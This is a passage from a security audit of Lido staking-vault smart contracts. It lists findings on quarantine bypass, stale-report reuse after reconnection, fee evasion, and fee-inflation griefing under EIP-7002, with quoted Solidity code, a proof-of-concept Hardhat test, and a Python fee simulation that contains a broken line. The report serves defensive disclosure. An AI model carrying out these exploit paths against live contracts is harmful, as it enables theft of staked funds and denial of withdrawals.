3. Normal reporting continues without triggering the `quarantine` branch, and the quarantine period ends (vault total value remains at 1.05 ETH).
4. After expiry, another abnormal report arrives (e.g., 1.1 ETH). Because the old quarantine remains "active" but expired, the new report is accepted in full—vault value jumps from the pre-quarantine baseline directly to 1.1 ETH, whereas it should remain capped at 1.05 ETH.

This edge case in the quarantine logic permits an attacker to prepare the contract state before submitting incorrect reports (for example, during an oracle compromise) and instantly bypass the intended cooldown and safeguards, which has been leveraged in Finding issue 7.2.

Examples

```
// obligations.integration.ts
it.only("quarantine bypass", async () => {
  // Step 1: Simulate extra rewards being added to the vault (unexpected increase in value)
  const valueForQuarantine = ether("0.05");
  await reportVaultDataWithProof(ctx, stakingVault, { totalValue: ether("1") + valueForQuarantine});

  // Step 2: Check that the quarantine is now active for the vault and the pending increase is tracked
  let quarantine = await lazyOracle.vaultQuarantine(stakingVault);
  expect(quarantine.pendingTotalValueIncrease).to.equal(valueForQuarantine);
  expect(quarantine.isActive).to.equal(true);

  // Step 3: The vaultHub only recognizes the pre-quarantine value (quarantined value is not yet counted)
  expect(await vaultHub.totalValue(stakingVaultAddress)).to.be.equal(ether("1"));

  // Step 4: Advance time by 1 day to allow for new reporting
  await advanceChainTime(86400n);

  // Step 5: Simulate a small slashing event, so the reported value is now within the sane range (no new quarantine)
  await reportVaultDataWithProof(ctx, stakingVault, { totalValue: ether("1.02") });

  // Step 6: Advance time by 1 day and continue normal reporting (no new quarantine triggered)
  await advanceChainTime(86400n);
  await reportVaultDataWithProof(ctx, stakingVault, { totalValue: ether("1.03") });

  // Step 7: Advance time by 1 day and report again (still no new quarantine)
  await advanceChainTime(86400n);
  await reportVaultDataWithProof(ctx, stakingVault, { totalValue: ether("1.04") });

  // Step 8: Advance time by 1 day, quarantine is still active but has now expired (time has passed quarantine end)
  await advanceChainTime(86400n);
  quarantine = await lazyOracle.vaultQuarantine(stakingVault);
  expect(quarantine.isActive).to.equal(true);
  const now = await getCurrentBlockTimestamp();
  await expect(now >= quarantine.endTimestamp).to.be.equal(true);

  // Step 9: Submit a report with a small increase (should not trigger a new quarantine branch)
  await reportVaultDataWithProof(ctx, stakingVault, { totalValue: ether("1.05") });

  // Step 10: Quarantine is still active, but the branch is not triggered (quarantine not cleared yet)
  quarantine = await lazyOracle.vaultQuarantine(stakingVault);
  expect(quarantine.isActive).to.equal(true);

  // Step 11: Advance time by 1 day, then submit a report with a large increase (should trigger a new quarantine)
  await advanceChainTime(86400n);
  // The reported value jumps from 1.05 to 1.1 (a ~4.7% increase, above the maxRewardRatioBP 3.5 % threshold)
  await reportVaultDataWithProof(ctx, stakingVault, { totalValue: ether("1.1") });

  // Step 12: Normally, the value should be capped at 1.05 and the extra 0.05 ETH would be quarantined again
  expect(await vaultHub.totalValue(stakingVaultAddress)).to.not.be.equal(ether("1.05"));

  // Step 13: However, because there was a previous (expired) quarantine, a quarantine bypass occurs
  //          and the full value (1.1 ETH) is now recognized by the vaultHub
  expect(await vaultHub.totalValue(stakingVaultAddress)).to.be.equal(ether("1.1"));
});
```

contracts/0.8.25/vaults/LazyOracle.sol:L316-L361

```
function _processTotalValue(
    address _vault,
    uint256 _reportedTotalValue,
    int256 _inOutDeltaOnRefSlot,
    VaultHub.VaultRecord memory record
) internal returns (uint256 totalValueWithoutQuarantine) {
    if (_reportedTotalValue > MAX_SANE_TOTAL_VALUE) {
        revert TotalValueTooLarge();
    }

    Storage storage $ = _storage();

    // total value from the previous report with inOutDelta correction till the current refSlot
    // it does not include CL difference and EL rewards for the period
    uint256 onchainTotalValueOnRefSlot =
        uint256(int256(uint256(record.report.totalValue)) + _inOutDeltaOnRefSlot - record.report.inOutDelta);
    // some percentage of funds hasn't passed through the vault's balance is allowed for the EL and CL rewards handling
    uint256 maxSaneTotalValue = onchainTotalValueOnRefSlot *
        (TOTAL_BASIS_POINTS + $.maxRewardRatioBP) / TOTAL_BASIS_POINTS;

    if (_reportedTotalValue > maxSaneTotalValue) {
        Quarantine storage q = $.vaultQuarantines[_vault];
        uint64 reportTs = $.vaultsDataTimestamp;
        uint128 quarDelta = q.pendingTotalValueIncrease;
        uint128 delta = uint128(_reportedTotalValue - onchainTotalValueOnRefSlot);

        if (quarDelta == 0) { // first overlimit report
            _reportedTotalValue = onchainTotalValueOnRefSlot;
            q.pendingTotalValueIncrease = delta;
            q.startTimestamp = reportTs;
            emit QuarantinedDeposit(_vault, delta);
        } else if (reportTs - q.startTimestamp < $.quarantinePeriod) { // quarantine not expired
            _reportedTotalValue = onchainTotalValueOnRefSlot;
        } else if (delta <= quarDelta + onchainTotalValueOnRefSlot * $.maxRewardRatioBP / TOTAL_BASIS_POINTS) { // quarantine
            q.pendingTotalValueIncrease = 0;
            emit QuarantineExpired(_vault, delta);
        } else { // start new quarantine
            _reportedTotalValue = onchainTotalValueOnRefSlot + quarDelta;
            q.pendingTotalValueIncrease = delta - quarDelta;
            q.startTimestamp = reportTs;
            emit QuarantinedDeposit(_vault, delta - quarDelta);
        }
    }

    return _reportedTotalValue;
}
```

Recommendation

We recommend reviewing and updating the quarantine logic so that, upon expiry, the previous quarantine entry is cleared or automatically resolved before processing any new report.

7.6 A Vault Can Submit an Outdated Report After Reconnection Major ✓ Fixed

Resolution

Because of the following check in the oracle, it's only possible to apply the report that is fresher than the previous one:

```
if (uint48(_reportTimestamp) <= record.report.timestamp) {
            revert VaultReportIsFreshEnough();
        }
```

Description

Any vault can disconnect and then reconnect to the `VaultHub`. The disconnection process requires a 2-step approach:

1. Initiate disconnection.
2. Apply the latest report to finalise the disconnection.

These steps can be completed in two consecutive calls. After this is done, the vault can also reconnect instantly. After the reconnection, the vault can apply the latest report right away. The new oracle report is submitted once a day. Since all previous actions can be completed in one transaction, the latest oracle report will still be the same as it was before we disconnected. I.e., representing the total value of the vault before the disconnection.

So let's imagine the following steps:

1. The vault has 100 ETH, the latest report also states there's 100 ETH.
2. The vault disconnects in one transaction as we described before.
3. The disconnected vault withdraws 99 ETH, so there's now only 1 ETH there.
4. The vault reconnects with only 1 ETH. However, the latest report remains unchanged, stating that there is 100 ETH.
5. It's possible to apply the old report stating the vault has 100 ETH, while the vault only has 1 ETH.

The 99 ETH difference is supposed to go to the quarantine, but from the other issue (issue 7.4), we know how to avoid quarantines.

Note: In this flow, we applied the same report twice, using another issue (issue 7.20). The first instance occurred during the disconnection, and the second instance occurred after the vault was reconnected. But it's not mandatory to do it. The attacker can also wait for the new oracle report, frontrun it, and disconnect right before, still using the previous report. That way, the new report will also have the total value of 100 ETH and can be used after reconnecting.

Recommendation

Ensure the "old" report cannot be applied after the vault is reconnected.

7.7 Broken Disconnection Flow Enables `CONNECT_DEPOSIT` Bypass and Tier Accounting Drift Major

✓ Fixed

Resolution

The finding has been fixed in the `88ce9647db982414133e5bab80aac399cb930106` commit provided for the reaudit by implementing the recommendation. The tier is reset during the finalization of the disconnection via the `resetVaultTier` function. The `CONNECT_DEPOSIT` now remains locked until the disconnection is fully finalized.

Description

A vulnerability exists in the `VaultHub` contract's disconnection logic that can lead to inconsistent accounting state and allow a vault to bypass the `CONNECT_DEPOSIT` requirement, as well as retain privileged Tier behavior despite being demoted to the default Tier in `OperatorGrid`.

When a vault initiates disconnection, the `VaultHub` sets its locked value to zero, allowing the `CONNECT_DEPOSIT` to be consumed to settle pending obligations and fees.

contracts/0.8.25/vaults/VaultHub.sol:L1018-L1019

```
_record.locked = 0; // unlock the connection deposit to allow fees settlement
_settleObligations(_vault, _record, _vaultObligations(_vault), NO_UNSETTLED_ALLOWED);
```

However, if a slashing event is triggered during this window, the `applyVaultReport` logic aborts the disconnection, as a non-zero `slashingReserve` prevents finalization.

contracts/0.8.25/vaults/VaultHub.sol:L524-L525

```
if (connection.pendingDisconnect) {
    if (_reportSlashingReserve == 0 && record.liabilityShares == 0) {
```

At this point, the `CONNECT_DEPOSIT` may already have been consumed, yet it is not restored, resulting in the vault resuming normal operation without the required locked `CONNECT_DEPOSIT` collateral.

Simultaneously, upon initiating the disconnection, the vault is immediately reassigned to the default Tier in the `OperatorGrid`.

contracts/0.8.25/vaults/VaultHub.sol:L1021-L1023

```
_connection.pendingDisconnect = true;

_operatorGrid().resetVaultTier(_vault);
```

If disconnection is aborted (due to slashing), the vault continues operating with its original Tier configuration stored in the `VaultConnection` structure in `VaultHub` contract, while its entry in the `OperatorGrid` remains associated with the default Tier.

This desynchronization introduces a Tier mismatch, where:

- `VaultHub` enforces operational rules (e.g., rebalance thresholds, fees) from the previous Tier;
- `OperatorGrid` calculates liability and enforces the default Tier's share limits.

This results in inconsistent system behavior and broken accounting assumptions. In practice, a vault could exploit this mismatch by:

- Retaining more favorable parameters from a higher Tier (e.g., lower reserve requirements or looser thresholds),
- Bypassing stricter `shareLimit` constraints, since `OperatorGrid` now tracks it as part of the default Tier.
- Bypassing Node Operator's group limit.

Recommendation

Consider resetting the vault's Tier to the default Tier only upon finalizing the disconnection (when applying the last report). Additionally, since the `CONNECT_DEPOSIT` is meant to be locked until disconnection is finalized, the deposit can be safely retrieved back to the vault owner after disconnection is complete and ownership is recovered.

7.8 Rebalance Doesn't Take Into Account `locked` Amount and Obligations Medium ✓ Fixed

Resolution

This issue has been fixed by limiting the minting of shares. It now considers the `minimalReserve` which is calculated using the connect deposit and the slashing reserve.

Description

When withdrawing, the staking vault's owner is supposed to leave the locked amount and the unsettled obligations in the vault's total value:

contracts/0.8.25/vaults/VaultHub.sol:L1469-L1480

```
function _withdrawableValue(
    address _vault,
    VaultRecord storage _record
) internal view returns (uint256) {
    uint256 totalValue_ = _totalValue(_record);
    uint256 lockedPlusUnsettled = _record.locked + _totalUnsettledObligations(_vaultObligations(_vault));

    return Math256.min(
        _vault.balance,
        totalValue_ > lockedPlusUnsettled ? totalValue_ - lockedPlusUnsettled : 0
    );
}
```

Therefore, the staking vault should not be able to withdraw funds without fulfilling its obligations, reducing liabilities, keeping the slashing reserve, and the connection deposit. But there is one flow that does not require any of those. When using the rebalance function:

contracts/0.8.25/vaults/VaultHub.sol:L1050-L1061

```
function _rebalance(address _vault, VaultRecord storage _record, uint256 _shares) internal {
    uint256 valueToRebalance = _getPooledEthBySharesRoundUp(_shares);

    uint256 totalValue_ = _totalValue(_record);
    if (valueToRebalance > totalValue_) revert RebalanceAmountExceedsTotalValue(totalValue_, valueToRebalance);

    _decreaseLiability(_vault, _record, _shares);
    _withdraw(_vault, _record, address(this), valueToRebalance);
    _rebalanceExternalEtherToInternal(valueToRebalance);

    emit VaultRebalanced(_vault, _shares, valueToRebalance);
}
```

Using rebalance, the user does not check if there's enough funds for obligations, slashing reserve, or connection deposit. So there are ways in which staking vaults can go beyond these values and can withdraw funds from the vault without keeping a slashing reserve or connection deposit. Usually, the rebalance is limited by the liability, which is limited by the reserve ratio. However, after rebalancing the full amount, it becomes possible to mint more shares and create additional liability.

Recommendation

There may be a few ways to approach this issue. One option would be to restrict rebalancing beyond Max(connection deposit, slashing reserve, fees). The other option would be to limit minting shares with a connection deposit and a slashing reserve as collateral. To develop a comprehensive solution, a deep analysis of the impact on the rest of the system is required.

7.9 `unguaranteedDepositToBeaconChain` Lets Vault Owner Bypass Fees Medium ✓ Fixed

Resolution

The finding has been fixed by allowing only trusted NO to call this function.

Description

The function `unguaranteedDepositToBeaconChain` of the `Dashboard` increases the rewards adjustment by calling `_setRewardsAdjustment(rewardsAdjustment.amount + totalAmount)`:

contracts/0.8.25/vaults/dashboard/Dashboard.sol:L427-L432

```
_disableFundOnReceive();
_withdrawForUnguaranteedDepositToBeaconChain(totalAmount);
// Instead of relying on auto-reset at the end of the transaction,
// re-enable fund-on-receive manually to restore the default receive() behavior in the same transaction
_enableFundOnReceive();
_setRewardsAdjustment(rewardsAdjustment.amount + totalAmount);
```

This ajdustment offsets fees payment by the `totalAmount`:

contracts/0.8.25/vaults/dashboard/NodeOperatorFee.sol:L157-L166

```
int256 adjustment = _toSignedClamped(rewardsAdjustment.amount);

// the total increase/decrease of the vault value during the fee period
int256 growth = int112(periodEnd.totalValue) - int112(periodStart.totalValue) -
                (periodEnd.inOutDelta - periodStart.inOutDelta);

// the actual rewards that are subject to the fee
int256 rewards = growth - adjustment;

return rewards <= 0 ? 0 : (uint256(rewards) * nodeOperatorFeeRate) / TOTAL_BASIS_POINTS;
```

A vault owner can submit validators they control, which may already be initialized with arbitrary withdrawal credentials. These validators are not counted by the oracle as part of the vault's total value, so they should not affect fee calculations.

However, the rewards adjustment is still increased by the full `totalAmount`. This means the vault owner can artificially inflate `rewardsAdjustment.amount` by any value they choose. As a result, they can avoid paying fees to the node operator, creating an unfair bypass in the fee system.

Recommendation

Align reward adjustments strictly with oracle-reported values. Ensure that `unguaranteedDepositToBeaconChain` does not update `rewardsAdjustment.amount` unless the corresponding value will be included in the oracle's total.

7.10 Vault Fees Can Be Indefinitely Deferred Medium ✓ Fixed

Resolution

The finding has been fixed in the `88ce9647db982414133e5bab80aac399cb930106` commit provided for the reaudit by adding `unsettledLidoFees` to the `forceRebalance` function, as well as pausing `triggerValidatorWithdrawals` and `forceValidatorExit` functions when the `unsettledLidoFees` exceed a threshold of 1 ETH.

Description

A vault owner can indefinitely postpone paying Lido fee payments by maintaining zero vault balance while having all funds locked on the Consensus Layer. When `_planLidoTransfer` calculates fee settlement, it uses `_vault.balance` as the available amount for fees. If the vault balance is zero, no fees are transferred to Lido (`valueToTransferToLido = 0`), causing `unsettledLidoFees` to accumulate indefinitely. The only consequence is automatic beacon chain deposit pausing when unsettled obligations exceed `UNSETTLED_THRESHOLD` (1 ETH), but this can be circumvented using validator consolidations, which don't require deposits. This allows vault owners to strategically time fee payments based on ETH market conditions, reducing their total fee burden while maintaining staking operations.

Examples

contracts/0.8.25/vaults/VaultHub.sol:L859-L865

```
if (
    _isVaultHealthy(connection, record) &&
    // Check if the vault has redemptions under the threshold, or enough balance to cover the redemptions fully
    _vaultObligations(_vault).redemptions < Math256.max(UNSETTLED_THRESHOLD, _vault.balance)
) {
    revert ForcedValidatorExitNotAllowed();
}
```

contracts/0.8.25/vaults/VaultHub.sol:L559

```
_settleObligations(_vault, record, obligations, MAX_UNSETTLED_ALLOWED);
```

Recommendation

We recommend reviewing and modifying rebalancing logic and `forceValidatorExit` function logic, to include not only `_vaultObligations(_vault).redemptions`, but also `_obligations.unsettledLidoFees`. We also recommend not allowing to hold all of the ETH, which is used for minting stETH and as a reserve, on the CL, since this reserve ETH can be slashed, increasing risks of bad debt for the protocol.

7.11 Missing Fresh Report Requirements Enable Operations on Stale Vault Data Medium ✓ Fixed

Resolution

The finding has been fixed in the `88ce9647db982414133e5bab80aac399cb930106` commit provided for the reaudit with a comment:

> Applied suggested checks to:
>
> - `disconnect`
> - `voluntaryDisconnect`
> - `updateConnection`
> - `triggerValidatorWithdrawals` (in case of partial withdrawals)
> - `forceValidatorExit`
> - `resumeBeaconChainDeposits`
>
> Those function does not require freshnes check:
>
> - `requestValidatorExit` – just emitting an event
> - `pauseBeaconChainDeposits` – because in any case, deposits would be paused

Description

Multiple functions in `VaultHub` and `OperatorGrid` lack fresh Oracle report validation, allowing operations based on potentially outdated vault state. This creates several security vulnerabilities:

Disconnection soft-locking: `disconnect` and `voluntaryDisconnect` do not require a fresh oracle report. Disconnection is initiated via `_initiateDisconnection` using potentially stale `VaultRecord` data; `pendingDisconnect` is then set. Fees continue accruing until the next report. When a fresh report is applied during `pendingDisconnect`, `_settleObligations(..., NO_UNSETTLED_ALLOWED)` must fully settle fees. If the vault's current balance on EL cannot cover accrued fees, report application reverts, leaving `pendingDisconnect` true, even though a vault might have sufficient value on CL. In this state, key actions are blocked by `_checkConnection` / `_checkConnectionAndOwner` (including `forceValidatorExit` and `triggerValidatorWithdrawals`), effectively soft□locking the vault until external funding occurs.

Scenario: A vault with a 2048 ETH validator has minted stETH while maintaining health checks, with 1 ETH locked on EL and 2047 ETH on CL. The vault stops applying reports for a month while remaining healthy (no slashings, redemptions). During this period, it accrues significant Lido fees. When attempting to apply a report during disconnection, `_settleObligations(..., NO_UNSETTLED_ALLOWED)` requires settling more fees in ETH than a vault has available on EL. The function reverts, leaving `pendingDisconnect` true and blocking all vault operations until external funding occurs. The disconnection logic should abort disconnection when fee settlement fails due to insufficient EL balance, rather than reverting and leaving the vault in a soft-locked state.

Off-chain Fee calculation: The `changeTier` function in `OperatorGrid` allows vaults to change their fee parameters (`infraFeeBP`, `liquidityFeeBP`, `reservationFeeBP`) without requiring a fresh report. This creates a potential attack vector where vaults can manipulate their fee obligations by changing tiers before reporting their cumulative value. The fee parameters are stored in storage but never used in fee calculations - the actual fees are reported externally through the `LazyOracle` system. A malicious vault owner could stay in the default tier with higher fees, accumulate significant value without reporting, then change to a higher tier with lower fees before reporting, resulting in retroactively lower fee obligations (this depends on the off-chain calculation, which is out of scope). The `_cumulativeLidoFees` value in case of the missing reports may be lower than it was before due to the change of the Vault Tier, as it can be unclear for the backend what fees to use without applied oracle reports as checkpoints. We recommend requiring fresh reports for tier changes by adding a check for `_isReportFresh(_vault)` in the `changeTier` / `updateConnection` function.

Stale health checks: The `triggerValidatorWithdrawals` and `forceValidatorExit` functions do not invoke the `_requireFreshReport` check to ensure the Oracle report is recent. Without freshness validation, a vault owner could execute partial or full withdrawals from the consensus layer using stale or outdated reports—potentially on an unhealthy vault—or call `forceValidatorExit` after the vault has become healthy. As a result, an account with `VALIDATOR_EXIT_ROLE` could trigger full validator exits unintentionally.

Additionally, other functions also lack fresh report requirements, allowing operations based on stale data:

- `pauseBeaconChainDeposits(address _vault)` - Can pause deposits without a fresh report.
- `resumeBeaconChainDeposits(address _vault)` - Can resume deposits without a fresh report.
- `requestValidatorExit(address _vault, bytes calldata _pubkeys)` - Can request exits without fresh report.

Examples

contracts/0.8.25/vaults/VaultHub.sol:L524-L529

```
if (connection.pendingDisconnect) {
    if (_reportSlashingReserve == 0 && record.liabilityShares == 0) {
        _settleObligations(_vault, record, obligations, NO_UNSETTLED_ALLOWED);

        IStakingVault(_vault).transferOwnership(connection.owner);
        _deleteVault(_vault, connection);
```

Recommendation

We recommend implementing report freshness validation across all state-changing functions that rely on vault health metrics. Additionally, modify the disconnection logic to gracefully handle fee settlement failures by aborting disconnection rather than reverting, preventing vault soft-locking scenarios.

7.12 Fees Should Be Paid Before Abandoning the Dashboard or Transferring Ownership Medium ✓ Fixed

Resolution

The issue has been fixed. With the current approach all fees are disbursed before it becomes possible in `voluntaryDisconnect` or `tranferOwnership` and vaults do not accrue fees afterwards.

Description

Neither `Dashboard.abandonDashboard(address)` nor `Permissions._transferVaultOwnership(address)` enforces the settlement of accrued node operator (`NO`) fees before transferring ownership or control of the vault. This creates a risk where ownership may change hands while `nodeOperatorDisbursableFee()` is still greater than `0`. In such cases, the new owner or controller may inherit unresolved fee obligations, leading to inconsistencies or disputes in fee distribution.

It is worth noting that `voluntaryDisconnect()` does explicitly call `disburseNodeOperatorFee()` to settle outstanding fees, but this safeguard is not applied in the abandonment or ownership transfer flows. This creates an asymmetry in handling accrued fees across different exit and transfer paths.

Examples

contracts/0.8.25/vaults/dashboard/Dashboard.sol:L260-L272

```
/**
 * @notice Accepts the ownership over the StakingVault transferred from VaultHub on disconnect
 * and immediately transfers it to a new pending owner. This new owner will have to accept the ownership
 * on the StakingVault contract.
 * @param _newOwner The address to transfer the StakingVault ownership to.
 */
function abandonDashboard(address _newOwner) external {
    if (VAULT_HUB.isVaultConnected(address(_stakingVault()))) revert ConnectedToVaultHub();
    if (_newOwner == address(this)) revert DashboardNotAllowed();

    _acceptOwnership();
    _transferOwnership(_newOwner);
}
```

Recommendation

We recommend enforcing a settlement mechanism to ensure that outstanding `NO` fees are disbursed before allowing ownership changes. This can be achieved by adding a requirement that `nodeOperatorDisbursableFee()` is `0` (or below a small acceptable threshold to account for rounding errors) before executing either `abandonDashboard` or `_transferVaultOwnership`.

7.13 Force Disconnect Does Not Enforce Fee Distribution Medium Acknowledged

Resolution

The finding has been Acknowledged by Lido team with the following comment: “Forced disconnections are subject to Lido DAO governance decisions and its framework gives plenty of time to distribute any fees beforehand if the vault is actively maintained (especially taking in account that fee distribution is a permissionless function).”

Description

The vault has two ways of disconnecting from the `VaultHub`:

contracts/0.8.25/vaults/VaultHub.sol:L494-L498

```
function disconnect(address _vault) external onlyRole(VAULT_MASTER_ROLE) {
    _initiateDisconnection(_vault, _checkConnection(_vault), _vaultRecord(_vault));

    emit VaultDisconnectInitiated(_vault);
}
```

contracts/0.8.25/vaults/VaultHub.sol:L665-L671

```
function voluntaryDisconnect(address _vault) external whenResumed {
    VaultConnection storage connection = _checkConnectionAndOwner(_vault);

    _initiateDisconnection(_vault, connection, _vaultRecord(_vault));

    emit VaultDisconnectInitiated(_vault);
}
```

The second one is done by the dashboard, and it distributes fees before doing so:

contracts/0.8.25/vaults/dashboard/Dashboard.sol:L254-L258

```
function voluntaryDisconnect() external {
    disburseNodeOperatorFee();

    _voluntaryDisconnect();
}
```

But if the Vault is disconnected forcefully by the VaultHub, the fees are not distributed to the Node Operator (NO).

Recommendation

Ensure that fees are paid to the Node Operator in every disconnection scenario.

7.14 `feePeriodStartReport` Is Not Initialized and Remains Outdated After Reconnection Medium

✓ Fixed

Resolution

The `feePeriodStartReport` mechanism is changed, the main tracker is now `settledGrowth` variable. In order to reconnect, the vault’s owner and the node operator should update the value.

Description

The variable `feePeriodStartReport` is never properly initialized, not when created and not after the reconnection to the Hub. While using `0` as a default value is fine at the very beginning, it becomes a problem once a vault disconnects and then reconnects.

For example, assume a vault has `totalValue = 100 ETH` and `inOutDelta = 50 ETH`. After reconnection, `feePeriodStartReport` still holds the outdated values `(100 ETH, 50 ETH)`. But the new `periodEnd` will be `(100 ETH, 100 ETH)`. This results in a negative growth of `-50 ETH`, meaning the vault does not pay fees on the next `50 ETH` of rewards.

contracts/0.8.25/vaults/dashboard/NodeOperatorFee.sol:L159-L166

```
// the total increase/decrease of the vault value during the fee period
int256 growth = int112(periodEnd.totalValue) - int112(periodStart.totalValue) -
                (periodEnd.inOutDelta - periodStart.inOutDelta);

// the actual rewards that are subject to the fee
int256 rewards = growth - adjustment;

return rewards <= 0 ? 0 : (uint256(rewards) * nodeOperatorFeeRate) / TOTAL_BASIS_POINTS;
```

Because the vault owner can control reconnection timing and inflate `inOutDelta`, they can exploit this to avoid paying fees.

Recommendation

Reinitialize `feePeriodStartReport` on reconnection to ensure it reflects the correct current values.

7.15 Inconsistent Share Limit Applied During Debt Socialization Medium ✓ Fixed

Resolution

The finding has been fixed in the `88ce9647db982414133e5bab80aac399cb930106` commit provided for the reaudit. `_lockableValueLimit` and `_shareLimit` are now uncapped. The bad debt to socialize is now capped at the acceptor's capacity.

Description

In the `socializeVaultDebt` function in `VaultHub` contract, when transferring liability from a defaulted vault (bad debt) to a healthy one, the receiving vault's `shareLimit` is unexpectedly set based on the current locked amount converted to shares, rather than using the configured share limit from the receiving vault's Tier parameters.

contracts/0.8.25/vaults/VaultHub.sol:L597

```
_shareLimit: _getSharesByPooledEth(recordAcceptor.locked) // we can occupy all the locked amount
```

This setting reduces the capacity of the destination vault to absorb bad debt based on the amount already locked for its current liabilities.

In addtition the `_maxMintableRatioBP` parameter that is set to 100% which contradict with the reserve ratio safety buffer. This implies that the full total value (with lido fees subtracted) of the destination vault may be used to absorb bad debt.

contracts/0.8.25/vaults/VaultHub.sol:L596

```
_maxMintableRatioBP: TOTAL_BASIS_POINTS, // maxMintableRatio up to 100% of total value
```

Recommendation

Consider changing the the `_maxMintableRatioBP` and the `_shareLimit` parameters to respectively `TOTAL_BASIS_POINTS - reserveRatioBP` and `connectionAcceptor.shareLimit`. These parameters will ensure that the destination vault will remain healthy while absorbing the bad debt.

7.16 Disconnect Can Happen Instantly Medium ✓ Fixed

Resolution

Disconnect can no longer happen instantly; the oracle is required to produce a report with a timestamp higher than the initiation of the disconnect.

Description

`VaultHub.disconnect` / `voluntaryDisconnect` mark a vault as `pendingDisconnect` and unlock the connection deposit. Disconnection then **completes on the next oracle report** in `applyVaultReport` if `reportSlashingReserve == 0` and `liabilityShares == 0`. Because the oracle can report immediately, completion can occur in the **same block or next block**, effectively making the disconnect instantaneous. There is no cooldown window to ensure post□event observations (e.g., delayed slashing updates or debt socialising) are captured before ownership is returned and the hub state is cleared.

Moreover, `VaultHub.disconnect` / `voluntaryDisconnect` don't require submitting a report, so the previous report can be submitted right after initiation of the disconnect process.

Recommendation

Ensure that the disconnect can only happen when all the risks related to the node operator are cleared.

7.17 `slashingReserve` Is Not Accounted for When Applying a Report Medium ✓ Fixed

Resolution

The finding has been fixed in the commit `88ce9647db982414133e5bab80aac399cb930106` provided for the reaudit. The reported `_reportSlashingReserve` is now taken into account to compute the `minimalReserve` and the locked amount.

Description

According to the stVaults design documentation, the `lockedEther` value reported by a vault is expected to reflect the maximum of:

- `connect_deposit` (minimum required to connect to the `VaultHub`),
- `slashingReserve` (protection buffer for potential validator slashing),
- `mint_collateral` (collateralization requirements for minted shares).

However, in the current implementation of `applyVaultReport` function from the `VaultHub` contract, the calculation of `lockedEther` only considers `connect_deposit` and `mint_collateral` , omitting the slashing reserve :

contracts/0.8.25/vaults/VaultHub.sol:L1037-L1040

```
uint256 lockedEther = Math256.max(
    liability * TOTAL_BASIS_POINTS / (TOTAL_BASIS_POINTS - _connection.reserveRatioBP),
    CONNECT_DEPOSIT
);
```

This omission potentially undermines the intended safety mechanism and may lead to the system underestimating the risk exposure associated with slashing events.

Recommendation

Consider taking account for the `slashingReserve` when computing the `locked` amount of the staking vault.

7.18 Missing `requestFeeLimit` Validation for EIP-7002 and EIP-7251 Medium ✓ Fixed

Resolution

The finding has been fixed in the `12acdb5be870ec1e9f9eea1c11bf921ebac669df` commit, by adding documentation.

Description

The contract's `triggerValidatorWithdrawals` function allows any vault owner to submit a validator exit request along with a dynamic ETH fee, but it does not enforce a maximum `requestFeeLimit` as defined in EIP-7002 and EIP-7251. Without a cap check, such as:

```
if (fee > requestFeeLimit) {
    revert("Fee exceeds allowed maximum");
}
```

Malicious users can grief others by:

1. Submitting thousands of requests to the withdrawal queue increases the fees value exponentially and thus, prevents other vaults from queuing legitimate exits for hours, or blocks the `forceValidatorExit` function execution from `VALIDATOR_EXIT_ROLE` , as the fee.
2. The system validates that if the caller of the function has provided enough ether -> the function will be executed and the excess will be returned. However, as there is no validation for the max fee limit allowed in the system, as well as no documentation about possible griefing, a vault owner can always submit an excessive amount of ETH, for example, 50 ETH for 1 validator withdrawal, thinking that these tokens will always be returned. A malicious user can grief such a call by frontrunning it in the block before, making a vault owner pay the full 50 ETH as fees.

The following Python script simulates the exponential fee growth and decay, assuming a maximum of 2000 queued requests per block as per EIP□7002 fee analysis. Each queued request multiplies the excess by a factor of 1/17 per iteration until the fee drops below a 1 ETH threshold.

```
# Constants
INITIAL_EXCESS = 1998          # 2000 requests minus a small decrement
TARGET = 2                     # excess decay per block
FEE_THRESHOLD = 10**18         # 1 ETH in wei

# Exponential fee calculation

def fake_exponential(factor: int, numerator: int, denominator: int) -> int:
    i = 1
    output = 0
    numerator_accum = factor * denominator
    while numerator_accum > 0:
        output += numerator_accum
        numerator_accum = (numerator_accum * numerator) // (denominator * i)
        i += 1
    return output // denominator

# Simulate until fee falls below threshold
en excess = INITIAL_EXCESS
blocks = 0
fee = fake_exponential(1, excess, 17)
while fee > FEE_THRESHOLD:
    excess = max(excess - TARGET, 0)
    blocks += 1
    fee = fake_exponential(1, excess, 17)

print(f"Maximum queued requests: 2000")
print(f"Ether needed as fees if fully griefed: {fake_exponential(1, INITIAL_EXCESS, 17) / 10**18:.2e} ETH")
print(f"Time to decay below 1 ETH: {blocks * 12 / 60:.1f} minutes")
print(f"Remaining excess after decay: {excess}")
print(f"Final fee in wei: {fee}")
```

Sample Output

```
Maximum queued requests: 2000
Ether needed as fees if fully griefed: 1.10e+33 ETH
Time to decay below 1 ETH: 129.4 minutes
Remaining excess after decay: 704
Final fee in wei: 965763182592650922
```

Note that under the EIP model, the fee is recalculated at each block boundary rather than during a block; therefore, an attacker can spend only 2000 wei to enqueue 2000 requests in one block, yet face a fee of approximately `1.10e+33 ETH` for a single request at the start of the next block. Also, the malicious user can call any validators, as the precompile doesn't validate if the caller is an owner. It will take more than 2 hours to get the queue for withdrawals normalized to be at least under 1 ETH.

This griefing attack is especially harmful for Lido during a depeg event, as griefers can overwhelm the withdrawal queue not only by filling the queue but also by inflating fees to prohibit withdrawing from staking vaults, hindering critical validator exits when the protocol's stability is most vulnerable.

Examples

contracts/0.8.25/vaults/StakingVault.sol:L370-L379

```
uint256 feePerRequest = TriggerableWithdrawals.getWithdrawalRequestFee();
uint256 totalFee = (_pubkeys.length / PUBLIC_KEY_LENGTH) * feePerRequest;
if (msg.value < totalFee) revert InsufficientValidatorWithdrawalFee(msg.value, totalFee);

// If amounts array is empty, trigger full withdrawals, otherwise use amount-driven withdrawal types
if (_amounts.length == 0) {
    TriggerableWithdrawals.addFullWithdrawalRequests(_pubkeys, feePerRequest);
} else {
    TriggerableWithdrawals.addWithdrawalRequests(_pubkeys, _amounts, feePerRequest);
}
```

contracts/0.8.25/vaults/ValidatorConsolidationRequests.sol:L122-L132

```
uint256 feePerRequest = _getConsolidationRequestFee();
uint256 totalFee = totalSourcePubkeysCount * feePerRequest;
if (msg.value < totalFee) revert InsufficientValidatorConsolidationFee(msg.value, totalFee);

for (uint256 i = 0; i < _sourcePubkeys.length; i++) {
    _processConsolidationRequest(
        _sourcePubkeys[i],
        _targetPubkeys[i],
        feePerRequest
    );
}
```

Recommendation

We recommend adding a cap check :

```
    if (fee > requestFeeLimit) {
        revert("Fee exceeds allowed maximum");
    }
```

